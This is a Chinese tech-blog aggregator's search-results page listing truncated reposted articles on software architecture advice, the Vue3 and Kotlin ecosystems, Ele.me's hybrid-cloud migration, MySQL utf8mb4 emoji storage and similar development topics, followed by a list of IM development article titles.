前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[开源软件生态可持续性]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...题更难。 其实即便是软件开发领域的大神 Frederick P. Brooks Jr.(《人月神话》的作者)也会有同样的感叹。 “The hardest part of design is deciding what to design.” – 《The design of design》, by Frederick P. Brooks Jr. 决定“不要什么”比“要什么”更难 也许是由于人性的贪婪,对于软件系统我们同样想要更多:更多功能、更好的性能、更好的伸缩性、扩展性等等。作为软件架构师要明白软件架构设计就是一种取舍或平衡。当大家都在往里面加东西的时候,架构师更应该来做这个说“不”的人。 软件设计和定义过程中存在很多取舍,例如: 完善功能和尽早发布的取舍。 伸缩性和性能的取舍。 著名的 CAP 原则,就是一个很好的取舍指导策略。为了更好的取舍,保持架构风格的一致性,在一开始架构师就应该根据系统的实际需求来定义一些取舍的原则,如: 数据一致性拥有最高优先级。 提前发布核心功能优于完整发布等。 非功能性需求决定架构 因为软件是为了满足客户的功能性需求的,所以很多设计人员可能会认为架构是由要实现的功能性需求决定的。但实际上真正决定软件架构的其实是非功能性需求。 架构师要更加关注非功能性需求,常见的非功能性包括:性能,伸缩性,扩展性和可维护性等,甚至还包括团队技术水平和发布时间要求。能实现功能的设计总是有很多,考虑了非功能性需求后才能筛选出最合适的设计。 以上架构模式来自《面向模式的软件架构》的第一卷,这套书多年来一直是架构师的必读经典。面向架构的模式就是为不同的非功能性需求提供了很好的参考和指导。图中的 Micro-Kernel 模式,更加关注可扩展性和可用性(错误隔离)。 “简单”并不“容易” 很多架构师都会常常提到保持简单,但是有时候我们会混淆简单和容易。简单和容易在英语里也是两个词“simple”和“easy”。 “Simple can be harder than complex: You have to work hard to get your thinking clean to make it simple. But it’s worth it in the end because once you get there, you can move mountains. To be truly simple, you have to go really deep.” –SteveJobs 真正的一些简单的方法其实来自于对问题和技术更深入的理解。这些方案往往不是容易获得的、表面上的方法。简单可以说蕴含着一种深入的技巧在其中。 下面我来举一个例子。 首先我们来回顾一下软件生命周期中各个阶段的成本消耗占比。以下是来一个知名统计机构的分析报告。我们可以看到占比最大的是维护部分,对于这一部分的简化将最具有全局意义。 我曾经开发过一个设备管理系统,移动运营商通过这个系统来管理移动设备,实现包括设备的自动注册、固件和软件的同步等管理功能。这些功能是通过一些管理系统与移动设备间的预定义的交互协议来完成的。 电信专家们会根据业务场景及需求来调整和新增这些交互协议。起初我们采用了一种容易实现的方式,即团队中的软件工程会根据电信专家的说明,将协议实现为对应代码。 之后我们很快发现这样的方式,让我们的工作变得没那么简单。 “I believe that the hardest part of software projects, the most common source of project failure, is communication with the customers and users of that software.” –Martin Fowler 正如软件开发大师 MartinFowler 提到的,“沟通”往往是导致软件项目失败的主要原因。前面这个项目最大的问题是在系统上线后的运行维护阶段,电信专家和开发工程师之间会不断就新的协议修改和增加进行持续的沟通,而他们的领域知识和词汇都有很大的差别,这会大大影响沟通的效率。因此这期间系统的运行维护(协议的修改)变得十分艰难,不仅协议更新上线时间慢,而且由于软件工程对于电信协议理解程度有限,很多问题都要在实际上线使用后才能被电信专家发现,导致了很多的交换和反复。 针对上面提到的问题,后来我们和电信专家一起设计了一种协议设计语言(并提供可视化的工具),这种设计语言使用的电信专家所熟悉的词汇。然后通过一个类似于编译器的程序将电信专家定义好的协议模型转换为内存中的 Java 结构。这样整个项目的运行和维护就变得简单高效了,省去了低效的交流和不准确人工转换。 我们可以看到一开始按电信专家的说明直接实现协议是更为容易的办法,但就整个软件生命周期来看却并不是一个简单高效的方法。 永远不要停止编码 架构师也是程序员,代码是软件的最终实现形态,停止编程会逐渐让你忘记作为程序员的感受,更重要的是忘记其中的“痛”,从而容易产生一些不切实际的设计。 大家可能听说过在 Amazon,高级副总裁级别的 Distinguish Engineer(如:James Gosling,Java 之父),他们每年的编码量也非常大,常在 10 万行以上。 风险优先 架构设计很重要的一点是识别可能存在的风险,尤其是非功能性需求实现的风险。因为这些风险往往没有功能性需求这么容易在初期被发现,但修正的代价通常要比修正功能性需求大非常多,甚至可能导致项目的失败,前面我们也提到了非功能性需求决定了架构,如数据一致性要求、响应延迟要求等。 我们应该通过原型或在早期的迭代中确认风险能够通过合理的架构得以解决。 绝对不要把风险放到最后,就算是一个项目要失败也要让它快速失败,这也是一种敏捷。 从“问题”开始,而不是“技术” 技术人员对于新技术的都有着一种与身俱来的激情,总是乐于去学习新技术,同时也更有激情去使用新技术。但是这也同样容易导致一个通病,就是“当我们有一个锤子的时候看什么都是钉子”,使用一些不适合的技术去解决手边的问题,常常会导致简单问题复杂化。 我曾经的一个团队维护过这样一个简单的服务,起初就是一个用 MySQL 作数据存储的简单服务,由团队的一个成员来开发和维护。后来,这位成员对当时新出的 DynamoDB 产生了兴趣,并学习了相关知识。 然后就发生下面这样的事: 用DynamoDB替换了MySQL。 很快发现DynamoDB并不能很好的支持事务特性,在当时只有一个性能极差的客户端类库来支持事物,由于采用客户端方式,引入了大量的额外交互,导致性能差别达7倍之多。这时候,这个同学就采用了当时在NoSQL领域广泛流行的最终一致技术,通过一个Pub-Sub消息队列来实现最终一致(即当某对象的值发生改变后会产生一个事件,然后关注这一改变的逻辑,就会订阅这个通知,并改变于其相关数据,从而实现不同数据的最终一致)。 接着由于DynamoDB无法提供SQL那样方便的查询机制,为了实现数据分析就又引入了EMR/MapReduceJob。 到此,大家可以看到实现一样的功能,但是复杂性大大增加,维护工作也由一个人变成了一个团队。 过度忙碌使你落后 对于 IT 人而言忙碌已成为了习惯,加班常挂在嘴边。“996”工作制似乎也变成了公司高效的标志。而事实上过度的忙碌使你落后。经常遇见一些朋友,在一个公司没日没夜的干了几年,没有留一点学习时间给自己。几年之后倒是对公司越来越“忠诚”了,但忙碌的工作同时也导致了没有时间更新知识,使得自己已经落后了,连跳槽的能力和勇气都失去了。 过度忙碌会导致没有时间学习和更新自己的知识,尤其在这个高速发展的时代。我在工作经历中发现过度繁忙通常会带来以下问题: 缺乏学习导致工作能力没有提升,而面对的问题却变得日益复杂。 技术和业务上没有更大的领先优势,只能被动紧紧追赶。试想一下,要是你都领先同行业五年了,还会在乎通过加班来早一个月发布吗? 反过来上面这些问题会导致你更加繁忙,进而更没有时间提高自己的技术技能,很快就形成了一个恶性循环。 练过健身的朋友都知道,光靠锻炼是不行的,营养补充和锻炼同样重要。个人技术成长其实也一样,实践和学习是一样重要的,当你在一个领域工作了一段时间以后,工作对你而言就主要是实践了,随着你对该领域的熟悉,能学习的到技术会越来越少。所以每个技术人员都要保证充足的学习时间,否则很容易成为井底之蛙,从而陷入前面提到的恶性循环。 最后,以伟大诗人屈原的诗句和大家共勉:“路漫漫其修远兮,吾将上下而求索“。希望我们大家都可以不忘初心,保持匠心! 作者简介: 蔡超,Mobvista 技术 VP 兼首席架构师,SpotMax 云服务创始人。拥有超过 15 年的软件开发经验,其中 9 年任世界级 IT 公司软件架构师/首席软件架构师。2017 年加入 Mobvista,任公司技术副总裁及首席架构师,领导公司的数字移动营销平台的开发,该平台完全建立于云计算技术之上,每天处理来自全球不同 region 的超过 600 亿次的请求。 在加入 Mobvista 之前,曾任亚马逊全球直运平台首席架构师,亚马逊(中国)首席架构师,曾领导了亚马逊的全球直运平台的开发,并领导中国团队通过 AI 及云计算技术为中国客户打造更好的本地体验;曾任 HP(中国)移动设备管理系统首席软件架构师,该系统曾是全球最大的无线设备管理系统(OMA DM)(客户包括中国移动,中国联通,中国电信等);曾任北京天融信网络安全技术公司,首席软件架构师,领导开发的网络安全管理系统(TopAnalyzer)至今仍被政府重要部门及军队广为采用,该系统也曾成功应用于 2008 北京奥运,2010 上海世博等重要事件的网络安全防护。 本篇文章为转载内容。原文链接:https://blog.csdn.net/Honnyee/article/details/111896981。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-19 14:55:26
81
转载
转载文章
...泛应用,开发者们对其生态建设的关注度与日俱增。近期,Vue3社区不断推出新的工具和库以适应更高效、规范化的开发需求。例如,Vite作为由Vue.js作者尤雨溪亲自操刀的新型构建工具,以其快速热更新、按需编译等特性深受开发者喜爱,配合TypeScript可以进一步提升项目代码质量及可维护性。 在UI组件库方面,Element-Plus作为Vue3生态的重要一环,持续迭代升级,提供更多丰富且易于使用的组件供开发者选择。与此同时,状态管理库Pinia也在Vue3的状态管理解决方案中崭露头角,其简洁易用的设计理念让状态管理更为灵活便捷。 在工程化配置上,Eslint和Prettier的组合已成为业界标准,保证代码风格一致性的同时提升了团队协作效率。此外,TailwindCSS这类实用的原子化CSS框架被更多项目采纳,简化了样式编写流程,尤其适合后台管理系统等复杂项目的样式设计。 至于测试环节,Jest凭借其强大的断言库和模拟功能,在单元测试领域占据主导地位。对于Vue3应用,Vue Test Utils提供了对Vue组件进行单元测试的强大支持,确保代码质量与稳定性。 综上所述,Vue3生态正在以前所未有的速度发展和完善,无论是核心框架还是周边工具链都在与时俱进,为开发者带来更加先进、高效的开发体验。建议读者关注官方文档、技术博客以及GitHub上的最新动态,紧跟社区步伐,不断提升自身的技能树,以应对未来日益复杂的前端开发挑战。
2023-10-05 12:27:41
117
转载
转载文章
...掌握Office系列软件(Word、Excel、PowerPoint等)中的高级快捷键组合同样重要。这些快捷键不仅能节省大量时间,而且能让用户在处理文档时更为得心应手。例如,Ctrl + Shift + S用于快速保存为其他格式,Ctrl + Alt + V可调出选择性粘贴对话框等。 最后,针对开发者和IT管理员,学习Visual Studio Code、Git Bash或其他开发环境下的专用快捷键,能够极大地提高编程和管理效率。近期,Visual Studio Code新增了对多光标编辑的支持,配合特定快捷键,可在同一时间内对多个位置进行编辑,大大提升了代码编写速度。 总之,无论您是普通用户还是专业人员,持续关注系统更新动态并深入挖掘各类应用软件的快捷功能,都能助您在数字化工作中不断突破效率瓶颈,实现更加高效流畅的操作体验。
2023-02-01 13:38:26
92
转载
转载文章
...对三维建模与动画制作软件,Blender项目持续进行功能更新,支持多种坐标系统并整合了基于物理的渲染引擎Cycles。用户不仅可以在其中创建复杂的三维模型,还能利用内置的高级着色器进行法线贴图、置换贴图等复杂纹理处理,以及实现PBR材质以满足更高标准的视觉需求。 在理论研究方面,学者们正在深入探讨四元数在图形旋转、插值运算等方面的优化算法,力图挖掘其在实时渲染、虚拟现实和增强现实环境中的潜在价值。一些前沿研究甚至将四元数应用于机器学习与人工智能驱动的动画系统中,以实现更加自然、连贯的动作捕捉与运动预测。 综上所述,无论是实时渲染技术的发展、硬件特性的革新,还是三维设计工具的进步,都在不断推动三维坐标系与几何学在计算机图形学中的实际应用向着更高效、更真实的方向发展。关注这些领域的最新动态和技术成果,无疑将有助于您更好地掌握三维图形编程的未来趋势及其实现方法。
2023-10-24 12:49:42
272
转载
转载文章
...otlin 官方团队持续优化和增强语言功能,例如在 Kotlin 1.6 版本中引入了对协程构建器的新改进,以及对类型别名(typealiases)更灵活的支持。此外,对空安全性的强化也是新版中的亮点之一,这将有助于开发者编写出更为健壮的应用代码。 2. Kotlin Multiplatform:随着跨平台开发需求的增长,Kotlin Multiplatform 成为越来越多开发者关注的焦点。它允许开发者使用 Kotlin 编写一次代码并运行在多个平台上,包括 Android、iOS、Web、后端服务器等多个环境,这对于充分利用 Kotlin 的优势,尤其是其简洁高效的语法和强大的类型系统具有重要意义。 3. JetBrains KotlinConf 2023:作为 Kotlin 官方举办的年度技术大会,KotlinConf 汇集了全球顶尖的 Kotlin 技术专家与社区成员。今年的主题围绕着 Kotlin 在现代软件架构中的应用,尤其强调了如何利用 Kotlin 的高级特性,如委托、内联函数等进行高效且易于维护的系统设计。通过收看 KotlinConf 的直播或回放,读者能够掌握最新的最佳实践,并从实际案例中深化对 Kotlin 各项特性的理解。 4. Android 开发者文档更新:鉴于 Google 对 Kotlin 的大力支持,Android 官方开发者文档也不断更新关于 Kotlin 最佳实践的内容。其中包含了如何在 Android 应用中更好地利用 Kotlin 的伴生对象实现单例模式,以及如何通过扩展函数优化 UI 组件操作等方面的具体指导。紧跟官方文档的步伐,可确保开发者能够及时了解和应用最新的 Kotlin 技术趋势。 综上所述,对于热衷于 Kotlin 技术探索的开发者而言,跟踪 Kotlin 的最新版本特性、多平台开发趋势以及行业会议动态,结合阅读官方文档以加深对 Kotlin 各种特性的实战运用,是持续提升自身技术水平的重要途径。
2023-06-23 23:56:14
473
转载
转载文章
...实授权,有效防止恶意软件侵入。 值得注意的是,Slices和App Actions作为Android P中的创新交互方式,不仅提升了用户体验,也为开发者提供了全新的应用推广渠道和用户黏性增强工具。而Google ML Kit的不断更新和完善,使得开发者能够更容易地集成智能回复等功能到应用中,大大降低了AI技术的使用门槛。 近日,多家主流手机品牌宣布支持Android P Beta版升级,这意味着更多用户将能体验到新一代系统的种种革新之处。同时,开发者社区也在积极响应,纷纷着手针对新特性的应用开发与优化工作。在未来几个月内,我们有望看到一系列基于Android P打造的全新或更新应用上线,进一步展现AI赋能下的智能手机生态繁荣景象。 总的来说,Android P Beta版本的发布是AI技术与智能手机操作系统深度融合的重要里程碑,它既彰显了谷歌对于用户需求洞察的敏锐度,又昭示了其对未来智能设备发展趋势的前瞻性布局。随着Android P的全面普及以及后续版本的迭代演进,人工智能将在移动领域释放出更大的潜力,为全球数以亿计的Android用户提供更为便捷、智能的生活服务。
2023-04-10 18:19:36
339
转载
转载文章
...里云在人工智能领域的持续探索感兴趣。以下是一则延伸阅读内容: 近期,阿里云发布了全新的图像处理解决方案,该方案集成了最新的深度学习模型和优化算法,可广泛应用于各类证件照、商品图片等场景的智能生成与编辑。其中,研究人员借鉴了类似SeedNet网络的多任务学习机制,并结合时空注意力机制进一步提升了图像分割的精度和效率。 此外,全球范围内的人工智能研究也在图像分割领域取得了突破性进展。例如,微软亚洲研究院今年公开了一项名为“HRNet”的高分辨率网络架构,它在医疗影像、自动驾驶等多个领域保持了顶级的图像分割性能。这一成果证明了通过保留高分辨率特征图并进行跨层次的信息融合,可以有效解决复杂背景下的精细化分割难题。 同时,阿里云不仅在技术研发上持续发力,还积极助力各行业实现数字化转型,如为教育、金融等行业提供了基于云服务的一站式证件照生成平台,用户只需上传原始照片即可快速获得满足各类规范要求的证件照,大大简化了传统流程,提高了工作效率。 综上所述,随着深度学习技术的不断迭代和云服务生态的完善,图像分割在证件照生成领域的应用正逐步走向成熟,并展现出巨大的市场潜力和社会价值。而作为行业领导者之一的阿里云,将持续引领技术创新,推动相关应用场景的落地与发展。
2023-07-11 23:36:51
132
转载
转载文章
...也涨至500人,技术生态从Python扩展至“Java+Python”开发体系,从“人肉”支撑百万订单运营到自动化运维,并筹备同城异地容灾体系。 3)规模期(2015年至2017年):2015年7至8月,日均订单量从200万翻倍,以往积压的问题都暴露出来,技术架构面临大考验,坚定了架构上云的方案,团队扩展至1000人,架构要承载数百万量级业务时,出现峰值成本、灾备切换、IDC远程运维等种种挑战,全面战略转型采用“IDC+云计算”的混合云架构。在2016年12月25日圣诞节日订单量迎来前所未有的900万单,因此在技术架构上探索多活部署等创新性研发。 为什么选择架构转型上云?据饿了么CTO张雪峰先生所说,技术架构从IDC经典模式发展至混合云模式,主要原因是三个关键因素让管理层下定决心上云: 1) 脉冲计算:从技术架构配套业务发展分析,网络订餐业务具有明显的“脉冲计算”特征,在每日上午10:00至13:00、晚间16:00至19:00业务高峰值出现,而其他时间则业务量很低,暑假是业务高峰季,2016年5.17大促,饿了么第一次做“秒杀”,一秒订单15000笔,巨大的波峰波谷计算差异,引发了自建数据中心容量不可调和的两难处境,如果大规模投入服务器满足6小时的高峰业务量,则其余18个小时的业务低谷计算资源闲置,若满足平均业务量,则无法跟上业务快速发展节奏,落后于竞争对手;搞电商大促时,计算资源投入巨大,大促之后计算峰值下降,采用自建机房利用率仅10%,所以技术团队摸索出用云计算扛营销大促峰值的新模式,采用混合云架构满足 “潮汐业务”峰值计算,阿里云海量云计算资源弹性随需满足巨大的脉冲计算力缺口,这与每年“双11” 淘宝引入阿里云形成全球最大混合云架构具有异曲同工的创新价值。 2) 数据量爆炸:伴随饿了么近五年业务量呈几何级数的爆发式发展,数据量增速更加令人吃惊,是业务量增速的5倍,每日增量数据接近100TB,2015年短短2个月内业务量增长10倍,数据量增长了50倍,上海主生产机房不堪重负。30GB的DDoS攻击对业务系统造成较大风险,上云成为承载大数据、抗网络攻击的好方法。 3) 高可用性挑战:众所周知,IDC自建系统运维要承担从底层硬件到上层应用的“全栈运维”运营能力与维修能力,当2015年夏天上海数据中心故障发生,主核心交换机宕机时,备核心交换机Bug同时被触发,从事故发生到硬件厂商携维修设备打车赶往现场维修的整个过程中,饥饿的消费者无法订餐吃饭,技术团队第一次经历业务中断而束手无策,才下定决心大笔投入混合云灾备的建设,“吃一堑,长一智”,持续向淘宝学习电商云生产与灾备架构,以自动化运维替代人肉运维,从灾备向多活演进,成为饿了么企业架构转型的必经之路。 4) 大数据精益运营:不论网络打车还是网络订餐,共享服务平台脱颖而出的关键成功要素是智能调度算法,以大数据训练算法提升调度效率,饿了么在高峰时段内让百万“骑士”(送餐快递员)完成更多订单是算法持续优化的目标,而这背后隐藏着诸多复杂因素,包括考虑餐厅、骑士、消费者三者的实时动态位置关系,把新订单插入现有“骑士”的行进路线中,估计每家餐厅出餐时间,每个骑手的行进速度、道路熟悉程度各不相同,新老消费者获客成本、高价低价订单的优先级皆不相同。种种考量因素合并到一起,对于人类调度员来说,每天中午和晚上的高峰都是巨大的挑战。以上海商城路配送站为例,一个调度员每6秒钟就要调度1单,他需要考虑骑手已有订单量、路线熟悉度等。因此可以说,这份工作已经完全不适合人类。但对人工智能而言,阿里云ET则非常擅长处理这类超复杂、大规模、实时性要求高的“非人”问题。 饿了么是中国最大的在线外卖和即时配送平台,日订单量900万单、180万骑手、100万家餐饮店,既是史无前例的计算存储挑战,又是人无我有的战略发展机遇。饿了么携手阿里云人工智能团队,通过海量数据训练优化全球最大实时智能调度系统。在基础架构层,云计算解决弹性支撑业务量波动的基础生存问题,在数据智能层,利用大数据训练核心调度算法、提升餐饮店的商业价值,才是业务决胜的“技术神器”。 在针对大数据资源的“专家+机器”运营分析中,不断发现新的特征: 1) 区域差异性:饿了么与阿里云联合研发小组测试中发现有2个配送站点出现严重超时问题。后来才知道:2个站点均在成都,当地人民喜欢早、中餐一起吃,高峰从11点就开始了。习惯了北上广节奏的ET到成都就懵了。据阿里云人工智能专家闵万里分析:“不存在一套通用的算法可以适配所有站点,所以我们需要让ET自己学习或者向人类运营专家请教当地的风土人情、饮食习惯”。除此之外,饿了么覆盖的餐厅不仅有高大上的连锁店,还有大街小巷的各类难以琢磨的特色小吃,难度是其他智能调度业务的数倍。 2) 复杂路径规划:吃一口热饭有多难?送餐路径规划比驾车出行路径规划难度更高,要考虑“骑士”地图熟悉程度、天气状况、拼单效率、送餐顺序、时间对客户满意度影响、送达写字楼电梯等待时间等各种实际情况,究竟ET是如何实现智能派单并确保效率最优的呢?简单来说,ET会将配送站新接订单插入到每个骑手已有的任务中,重新规划一轮最短配送路径,对比哪个骑手新增时间最短。为了能够准确预估新增时间,ET需要知道全国100万家餐厅的出餐速度、超过180万骑手各自的骑行速度、每个顾客坐电梯下楼取餐的时间。一般来说,餐厅出餐等待时间占到了整个送餐时间的三分之一。ET要想提高骑手效率,必须准确预估出餐时间以减少骑手等待,但又不能让餐等人,最后饭凉了。饿了么旗下蜂鸟配送“准时达”服务单均配送时长缩短至30分钟以内。 3) 天气特殊影响:天气等环境因素对送餐响应时间影响显著,要想计算骑手的送餐路程时间,ET需要知道每个骑手在不同区域、不同天气下的送餐速度。如果北京雾霾,ET能看见吗?双方研发团队为ET内置了恶劣天气的算法模型。通常情况下,每逢恶劣天气,外卖订单将出现大涨,对应的餐厅出餐速度和骑手骑行速度都将受到影响,这些ET都会考虑在内。如果顾客在下雪天点个火锅呢?ET也知道,将自动识别其为大单,锁定某一个骑手专门完成配送。 4) 餐饮营销顾问:饿了么整体业务涉及C端(消费者)、B端(餐饮商户)、D端(物流配送)、BD端(地推营销),以往区域业务开拓考核新店数量,现在会重点关注餐饮外卖“健康度”,对于营业额忽高忽低、在线排名变化的餐饮店,都需要BD专家根据大数据帮助餐饮店经营者找出原因并给出解决建议,避免新店外卖刚开始就淹没在区域竞争中,销量平平的新店会离开平台,通过机器学习把餐饮运营专家的经验、以及人看不到的隐含规律固化下来,以数据决策来发现餐饮店经营问题、产品差异定位,让餐饮商户尝到甜头,才愿意继续经营。举个例子,饿了么员工都喜欢楼下一家鸡排店的午餐,但大数据发现这家店的外卖营收并不如实体店那么火爆,9元“鸡排+酸梅汁”是所有人都喜欢的爆款产品,可为什么同样菜品遭遇“线下火、线上冷”呢?数据预警后,BD顾问指出线上外卖鸡排产品没有写明“含免费酸梅汁一杯”的关键促销内容,导致大多数外卖消费者订一份鸡排一杯酸梅汁,却收到一份鸡排两杯酸梅汁,体验自然不好。 饿了么是数据驱动、智能算法调度的自动化生活服务平台,通过O2O数据的在线实时分析,与阿里云人工智能团队不断改进算法,以“全局最优”取代“局部最优”,保证平台上所有餐饮商户都能享受到数据智能的科技红利。 “上云用数”的外部价值诸多,从饿了么内部反馈来看,上云不仅没有让运维团队失去价值,反而带来了“云原生应用”(Cloud Native Application)、“云上多活”、“CDN云端压测”、“安全风控一体化”等创新路径与方案,通过敏捷基础设施(IaaS)、微服务架构(PaaS和SaaS)、持续交付管理、DevOps等云最佳实践,摆脱“人肉”支撑的种种困境,进而实现更快的上线速度、细致的故障探测和发现、故障时能自动隔离、故障时能够自动恢复、方便的水平扩容。饿了么CTO张雪峰先生说:“互联网平台型组织,业务量涨数倍,企业人数稳定降低,才是技术驱动的正确商业模式。” 在不久的将来,你每天订餐、出行、娱乐、工作留下的大数据,会“驯养”出无处不在、无所不能的智能机器人管家,家庭助理帮你点菜,无人机为你送餐,聊天机器人接受你的投诉……当然这个无比美妙的“未来世界”背后,皆有阿里云的数据智能母体“ET”。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34126557/article/details/90592502。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-31 14:48:26
344
转载
转载文章
...。近期,Google开源项目Abseil库就很好地体现了对构造函数和析构函数的高效利用,通过智能指针管理资源生命周期,确保了内存安全,减少了潜在的内存泄漏风险。 此外,随着C++17及后续标准的发布,类模板与友元机制也得到了进一步增强和完善。比如,在C++20中引入了模块(Modules)特性,使得类模板的编译速度大大提高,同时增强了类型安全性,对于大型项目的组织结构优化具有重要意义。友元在现代C++设计模式中仍然发挥着不可替代的作用,特别是在实现组件间深度交互时,如游戏引擎中不同系统间的紧密协作,往往借助友元关系来突破封装限制,实现高效的底层数据访问。 另外,对于对象数组、对象指针以及静态成员的讨论,实则指向了更为复杂的内存管理和对象生命周期问题。近期一篇来自ACM Queue的文章《深入剖析C++内存模型》对此做了深度解读,并探讨了在多线程环境下的同步控制和内存一致性问题,这对于理解并有效利用C++进行高性能并发编程至关重要。 总之,掌握好本文所述的基础知识是至关重要的,而与时俱进地了解最新实践和技术趋势,将有助于我们更高效、安全地运用C++进行软件开发,解决实际工程中的复杂问题。
2024-01-29 12:38:23
545
转载
转载文章
...,像Seata这样的开源分布式事务解决方案也备受关注。Seata以灵活的Saga模式和AT模式支持分布式事务,尤其适用于跨多个数据库或服务边界的事务场景,解决了跨服务间的事务协调难题,并且具备良好的扩展性和容错性。 此外,在金融领域,许多银行和支付机构也开始采用TCC(Try-Confirm-Cancel)模型来处理分布式事务。这种补偿型事务方案可以更好地适应复杂业务场景,确保数据最终一致性的同时,兼顾性能表现。 综上所述,分布式事务问题在现代互联网系统构建中占据重要地位,而如何结合实际业务需求选择恰当的解决方案则显得尤为重要。从XA协议到消息队列,再到新型的一致性协议和TCC模型,都在为打造更加健壮、高效的分布式系统贡献力量。因此,深入学习并跟踪这些先进技术及其实战应用,无疑将对提升自身在分布式事务处理领域的专业素养大有裨益。
2023-04-16 22:34:52
500
转载
转载文章
...Emoji(IM聊天软件中经常会被用到): 那么Emoji字符表情会对我们平时的开发运维带来什么影响呢? 最常见的问题就在于将他存入MySQL数据库的时候。一般来说MySQL数据库的默认字符集都会配置成UTF-8(三字节),而utf8mb4在5.5以后才被支持,也很少会有DBA主动将系统默认字符集改成utf8mb4。 那么问题就来了,当我们把一个需要4字节UTF-8编码才能表示的字符存入数据库的时候就会报错:ERROR 1366: Incorrect string value: '\xF0\x9D\x8C\x86' for column 。 如果认真阅读了上面的解释,那么这个报错也就不难看懂了:我们试图将一串Bytes插入到一列中,而这串Bytes的第一个字节是 \xF0 意味着这是一个四字节的UTF-8编码。但是当MySQL表和列字符集配置为UTF-8的时候是无法存储这样的字符的,所以报了错。 那么遇到这种情况我们如何解决呢? 有两种方式: 1)升级MySQL到5.6或更高版本,并且将表字符集切换至utf8mb4; 2)在把内容存入到数据库之前做一次过滤,将Emoji字符替换成一段特殊的文字编码,然后再存入数据库中。之后从数据库获取或者前端展示时再将这段特殊文字编码转换成Emoji显示。 第二种方法我们假设用 --1F601-- 来替代4字节的Emoji,那么具体实现python代码可以参见Stackoverflow上的回答。 12、参考文献 [1] 如何配置Python默认字符集 [2] 字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8 [3] Unicode中文编码表 [4] Emoji Unicode Table [5] Every Developer Should Know About The Encoding 附录:更多IM开发方面的文章 [1] IM开发综合文章: 《新手入门一篇就够:从零开发移动端IM》 《移动端IM开发者必读(一):通俗易懂,理解移动网络的“弱”和“慢”》 《移动端IM开发者必读(二):史上最全移动弱网络优化方法总结》 《从客户端的角度来谈谈移动端IM的消息可靠性和送达机制》 《现代移动端网络短连接的优化手段总结:请求速度、弱网适应、安全保障》 《腾讯技术分享:社交网络图片的带宽压缩技术演进之路》 《小白必读:闲话HTTP短连接中的Session和Token》 《IM开发基础知识补课:正确理解前置HTTP SSO单点登陆接口的原理》 《移动端IM开发需要面对的技术问题》 《开发IM是自己设计协议用字节流好还是字符流好?》 《请问有人知道语音留言聊天的主流实现方式吗?》 《一个低成本确保IM消息时序的方法探讨》 《完全自已开发的IM该如何设计“失败重试”机制?》 《通俗易懂:基于集群的移动端IM接入层负载均衡方案分享》 《微信对网络影响的技术试验及分析(论文全文)》 《即时通讯系统的原理、技术和应用(技术论文)》 《开源IM工程“蘑菇街TeamTalk”的现状:一场有始无终的开源秀》 《QQ音乐团队分享:Android中的图片压缩技术详解(上篇)》 《QQ音乐团队分享:Android中的图片压缩技术详解(下篇)》 《腾讯原创分享(一):如何大幅提升移动网络下手机QQ的图片传输速度和成功率》 《腾讯原创分享(二):如何大幅压缩移动网络下APP的流量消耗(上篇)》 《腾讯原创分享(三):如何大幅压缩移动网络下APP的流量消耗(下篇)》 《如约而至:微信自用的移动端IM网络层跨平台组件库Mars已正式开源》 《基于社交网络的Yelp是如何实现海量用户图片的无损压缩的?》 《腾讯技术分享:腾讯是如何大幅降低带宽和网络流量的(图片压缩篇)》 《腾讯技术分享:腾讯是如何大幅降低带宽和网络流量的(音视频技术篇)》 《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》 《全面掌握移动端主流图片格式的特点、性能、调优等》 《子弹短信光鲜的背后:网易云信首席架构师分享亿级IM平台的技术实践》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(算法原理篇)》 《自已开发IM有那么难吗?手把手教你自撸一个Andriod版简易IM (有源码)》 《融云技术分享:解密融云IM产品的聊天消息ID生成策略》 《适合新手:从零开发一个IM服务端(基于Netty,有完整源码)》 《拿起键盘就是干:跟我一起徒手开发一套分布式IM系统》 >> 更多同类文章 …… [2] 有关IM架构设计的文章: 《浅谈IM系统的架构设计》 《简述移动端IM开发的那些坑:架构设计、通信协议和客户端》 《一套海量在线用户的移动端IM架构设计实践分享(含详细图文)》 《一套原创分布式即时通讯(IM)系统理论架构方案》 《从零到卓越:京东客服即时通讯系统的技术架构演进历程》 《蘑菇街即时通讯/IM服务器开发之架构选择》 《腾讯QQ1.4亿在线用户的技术挑战和架构演进之路PPT》 《微信后台基于时间序的海量数据冷热分级架构设计实践》 《微信技术总监谈架构:微信之道——大道至简(演讲全文)》 《如何解读《微信技术总监谈架构:微信之道——大道至简》》 《快速裂变:见证微信强大后台架构从0到1的演进历程(一)》 《17年的实践:腾讯海量产品的技术方法论》 《移动端IM中大规模群消息的推送如何保证效率、实时性?》 